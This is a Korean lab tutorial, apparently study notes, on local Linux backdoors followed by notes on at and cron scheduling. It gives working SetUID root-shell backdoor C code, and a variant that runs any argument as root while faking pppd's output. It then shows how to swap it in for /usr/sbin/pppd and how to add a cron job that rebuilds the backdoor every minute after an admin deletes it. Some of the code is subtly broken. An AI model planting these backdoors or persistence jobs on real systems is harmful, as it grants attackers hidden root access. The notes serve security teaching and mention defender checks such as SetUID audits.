Rootkit 공격 실습 / 프로세스 스케쥴링

공격자들이 공격을 하기 위한 일반적인 순서

1. 정보수집

2. 해당 시스템 취약점 파악 후 공격

3. 백도어 설치 => root 권한 탈취

4. 로그 삭제 후 시스템에서 나가기

 

Rootkit

  • 루트킷은 'root'와 kit의 합성어입니다.
  • 컴퓨터 소프트웨어 중에서 악의적인 것들의 모음
  • 시스템에 침입해서 그 사실을 숨긴 채 차후 침입을 위한 백도어(Backdoor), 트로이 목마, 원격접근, 내부 사용흔적 삭제, 관리자권한 획득 등 주로 불법적인 해킹에 사용되는 기능들을 제공하는 프로그램들의 모음

- 시스템의 루트권한을 얻어 유저 행동을 감시하거나 개인정보 탈취

- 공격자는 루트킷을 활용하여 자신의 존재를 철저히 숨기면서 시스템을 조작하고 컴퓨터에 백신 프로그램 또는 안티 멀웨어(malware) 프로그램을 강제 종료할 수 있음

 

계정관리

Cent OS 간단한 실습

[root@localhost ~]# tail -5 /etc/passwd

[root@localhost ~]# head -3 /etc/passwd

 

user를 보면 x가 passwd자리이고, 1000이 UID 자리, 그다음 1000이 GID입니다.

root를 보면 x, UID는 0, GID도 0입니다.

만약 user의 UID가 0이라면?? 관리자로 인식하게 됩니다.

 

[Rootkit 실습 1] local Backdoor 생성 및 root 권한 탈취

이 실습에서는 SetUID를 사용해서 Backdoor를 생성하고 관리자 권한을 탈취할 것입니다.

 

Kali에서 실행합니다.

$ sudo su - 

 

계정을 생성합니다.

[방법1]

# useradd hong

# passwd hong

(1234/1234)

 

[방법2]

# adduser user

(1234/1234)

- 풀네임, 룸 넘버 등 다 패스

 

 

user의 홈디렉터리로 이동합니다.

# cd /home

# ls -l

# cd user

 

현재 user는 공격자입니다. 홈디렉터리에 Backdoor를 생성합니다.

setuid(0), setgid(0)은 UID와 GID를 0으로 설정한다는 의미로, 관리자로 인식하게 됩니다.

# nano backdoor.c

[파일 내용]

#include <stdio.h>
main(){
 setuid(0); 
 setgid(0);
 system("/bin/sh");
}

 

작성한 파일내용을 확인합니다.

# cat backdoor.c

 

문법적 오류가 없는지 확인하고 컴파일합니다. 실행파일을 만듭니다.

ls -l을 통해 실행파일이 만들어졌는지 확인합니다.

# gcc -o backdoor backdoor.c

# ls -l 

 

Backdoor 파일을 실행해 봅니다.

# ./backdoor

# ls

# exit

 

근데 우리는 root가 아닌 user로 백도어를 실행시키고 싶습니다. 새 터미널을 열고 user로 들어갑니다. 

user가 나갈 때 backdoor를 만들어 놓고 갔기 때문에 본인의 일반계정인 user로 들어가서 이 파일을 실행할 수 있습니다. 
ls -l의 결과를 보면 일반 사용자가 실행할 수 있는 권한이 있습니다.

$ sudo su - user

$ ls -l

$ ./backdoor

# exit

 

방금 전에는 일반권한 밖에 없었는데 root 터미널로 가서 특수권한을 부여해 보겠습니다. 

# chmod 4755 backdoor

# ls -l

 

다시 user 터미널로 이동해서 실행합니다.

id를 확인해 보면 user의 UID는 1002, GID도 1002인 것을 확인할 수 있습니다. 

이젠 backdoor를 실행하는 순간 관리자 권한을 탈취하여 관리자가 될 수 있습니다.

$ id

$ ./backdoor

# whoami

# exit

 

#과 $의 차이는 #은 관리자, $는 일반사용자의 실행입니다. 일반 실행할 때는 아까 만들어둔 함수 setuid(), setgid(), shell 실행하는 함수를 사용할 수 없었습니다. 그러나 관리자 실행일 때는 이 함수가 작동합니다.

 

!!문제점!!

user는 자기 홈디렉터리에 백도어를 심어놔서 얼마든지 관리자로 전환이 될 수 있었습니다. 이제 user의 공격을 끝났습니다. 여기서!! 서버담당자는 주기적으로 특수권한 설정된 것을 점검하는 것이 일입니다. 불필요하게 특수권한이 설정된 파일을 삭제합니다.

 

root터미널에서 실행해 봅니다.
# find / -perm -4000

 

일반사용자 홈디렉터리에는 특수권한을 잘 주지 않습니다. 그러므로 서버담당자는 그것을 삭제합니다.

 

[Rootkit 실습 2] Backdoor 숨기기

user의 2번째 공격입니다. Backdoor가 마치 시스템 상의 중요한 setuid 파일인 것처럼 위장합니다. 서버담당자가 발견하면 삭제되기 때문에 backdoor를 숨기는 작업을 합니다.

 

root터미널에서 위장파일을 조회합니다.

# find / -perm -4000

 

/usr/sbin/pppd 이 파일을 위장파일로 사용합니다. ls -l pppd 명령어를 통해 pppd파일의 소유자가 root이고 특수권한이 있는 것을 확인할 수 있습니다.

# cd /usr/sbin

# ls -l pppd

# ./pppd

 

user 홈디렉터리에서 진행할건데 ./backexec ( ) 괄호 안에 매개변수를 받아 그것을 실행하는 것까지 진행하려고 합니다.

Backdoor 파일을 생성합니다.

 

./pppd를 입력했을 때 출력되는 값을 복사합니다.

[복사내용]

./pppd: The remote system is required to authenticate itself
./pppd: but I couldn't find any suitable secret (password) for it to use to do so.

 

user의 홈디렉터리로 이동하여 백도어 파일을 생성합니다.

# cd /home/user

# nano backexec.c

[파일 작성]

#include <stdio.h>
main(){
 char exec[100];
 setuid(0); 
 setgid(0);
 sprintf(exec, "%s 2>/dev/null", argv[1]);
 system(exec);

 printf("./pppd: The remote system is required to authenticate itself\n");
 printf("./pppd: but I couldn't find any suitable secret (password) for it to >
}

 

작성한 내용을 확인합니다.

# cat backexec.c

 

문법적 오류가 없는지 확인하고 컴파일합니다. 실행파일을 만듭니다.

ls -l을 통해 실행파일이 만들어졌는지 확인합니다.

# gcc -o backexec backexec.c

# ls -l 

 

backexec를 실행하면 pppd를 실행했을 때와 동일한 출력값이 나옵니다. 실제 파일 내용은 숨겨져 있는 것입니다. 숨겨져 있는 함수를 실행하기 위해서는 특수권한이 있어야 합니다. 

# chmod 4755 backexec

# ls -l 

 

지금은 실습 중이기에 원본 파일은 백업용을 만들어놓으려고 합니다. 

# ls -l /usr/sbin/pppd

# cp /usr/sbin/pppd /usr/sbin/pppd.back

 

이제 정상파일을 Backdoor로 변환합니다. backexec 파일을 /usr/sbin/pppd 이 경로의 이름으로 저장해~라는 뜻입니다. 위의 사진과 아래 사진을 비교하면 오리지널 pppd 파일 사이즈와 백도어로 변환된 파일의 사이즈가 다른 것을 확인할 수 있습니다. 

# mv backexec /usr/sbin/pppd

# cd /usr/sbin

# ls -l pppd

 

이제 user 터미널로 이동합니다. user는 자기가 백도어를 심어놓은 폴더로 이동하여 pppd가 있는지 확인합니다.

$ cd /usr/sbin

$ ls -l pppd

 

pppd를 실행하는 순간 root권한을 얻어서 파일 안에 있는 함수를 실행할 것입니다. 

$ ./pppd "whoami"

$ ./pppd "id"

$ ./pppd "mkdir /user"

 

mkdir /user로 만든 파일을 확인해 보겠습니다. 

$ ls -l /user

$ ls -ld /user

root권한으로 만들어진 것을 확인할 수 있습니다.

 

 

실습1은 backdoor를 홈디렉터리에 설정해놨기에 특수권한이 있어야만 실행이 가능합니다. 그러다보니 홈디렉토리에 root가 있을 수가 없습니다. 이게 발각되면 삭제됩니다. 그래서 실습2에서 위장파일을 만들어 그럴듯한 곳에 백도어를 만들었습니다. 사실 이것도 발각될 수 있습니다. 왜냐하면 보안점검 항목 중 주기적으로 특수파일 점검이라는 항목이 있습니다. 그래서 잘못 설정한 파일은 삭제하라고 합니다. 보통 특수파일들을 디렉터리로 만들어서 해시값을 설정해 놓습니다. 이 해시값을 보고 누군가가 장난쳤네 안쳤네를 구분한다고 합니다. 

 

[Rootkit 실습 3] 추가실습. 스케쥴링으로 삭제된 파일 다시 생성

이번엔 스케쥴링으로 삭제되어도 만들고 삭제되어도 다시 만드는 것을 해보려고 합니다.
- 단기 스케쥴링 : at ; 한 번 실행
- 장기 스케쥴링 : cron ; 반복적 실행

 

root 터미널에서 실행합니다.

# cd /etc/cron.d

# nano set.sh

[파일 내용]

gcc -o backexec /home/user/backexec.c

chmod 4755 backexec

mv backexec /usr/sbin/pppd

# cat set.sh

# ls -l

 

set.sh에도 실행권한이 있어야 합니다. 권한을 부여하면서 set.sh를 실행가능한 스크립트 파일로 만들어놓습니다.

# chmod 755 set.sh

# cat /etc/crontab

* * * * * 명령
'분 시간 일 월요일'을 의미합니다.

 

# nano /etc/crontab

[해당 파일 제일 밑에 아래 코드를 입력합니다.]

* * * * * root /etc/cron.d/set.sh

 

이어서 다음 코드를 작성합니다.

# service cron restart # 서비스를 올렸다 내려야 함. 
# ls -ld /usr/sbin/pppd # 관제사 입장에서 확인해 보니 이상한 파일이 있네? 이거 이상해서 삭제해야 함
# rm -rf /usr/sbin/pppd #pppd 제거
# ls -l /usr/sbin/pppd #삭제돼서 없음
# ls -l /usr/sbin/pppd #다시 실행하면 또 생김

 

프로세스 스케쥴링

특정한 시간에 특정한 작업을 수행하게 하는 것으로 at과 cron을 사용합니다. 

 

명령어 at

  • 지정한 시간에 원하는 명령이나 작업을 실행
  • 한 번만 실행되는 경우 주로 사용
  • atd 데몬에 의해 실행
  • 지정한 작업은 큐에 저장되며 저장된 작업들은 /var/spool/at 디렉터리에 저장

 

(실습) Cent OS

[root@localhost ~]# cd /test
[root@localhost test]# at 23:56
at > ls -al > /test/today
at> ctrl + d
=> 23시 56분에 할 작업인데 ls -al 목록을 확인해서 test/today 파일에 넣으라는 뜻입니다. 


[root@localhost test]# at -l #스케쥴링된 것 확인하는 명령어 (지금 실행 안 함)
[root@localhost test]# at -c 1 #스케쥴링 번호를 입력하여 실행할 수 있음. (지금 실행 안 함)
[root@localhost test]# ls # today가 만들어짐

 

명령어 cron

  • 주기적으로 프로세스를 실행 시 사용
  • 시스템 운영 또는 사용자의 필요에 의한 작업으로 나뉨

- 시스템 운영에 필요한 작업 : root 권한으로 /etc/crontab에 등록

- 일반 사용자 : /var/spool/cron/사용자ID에 등록

 

[명령어 해석해보기]

0 12 * * 1-5   /etc/work.sh

=> 월요일~금요일까지 오후 12시에 실행

 

10 4 1 1-12/2 *  /etc/work.sh

=> 1월~12월까지 2개월마다 1일에 오전 4시 10분에 실행

 

0 10 * * 1   cat/root/notic | mail -s "notice" gildong@test.com

=> cat/root/notic 작업을 해서 관리자 메일로 알리기를 월요일 10시에 실행

 

0 4 * * 1,3,5   find / -name '*.bak' --exec rm -rf {}\;

=> '*.bak' 파일을 찾아서 삭제하기를 월,수,금요일 4시에 실행

 

*/10 * * * *    /etc/work.sh

=> 10분마다 실행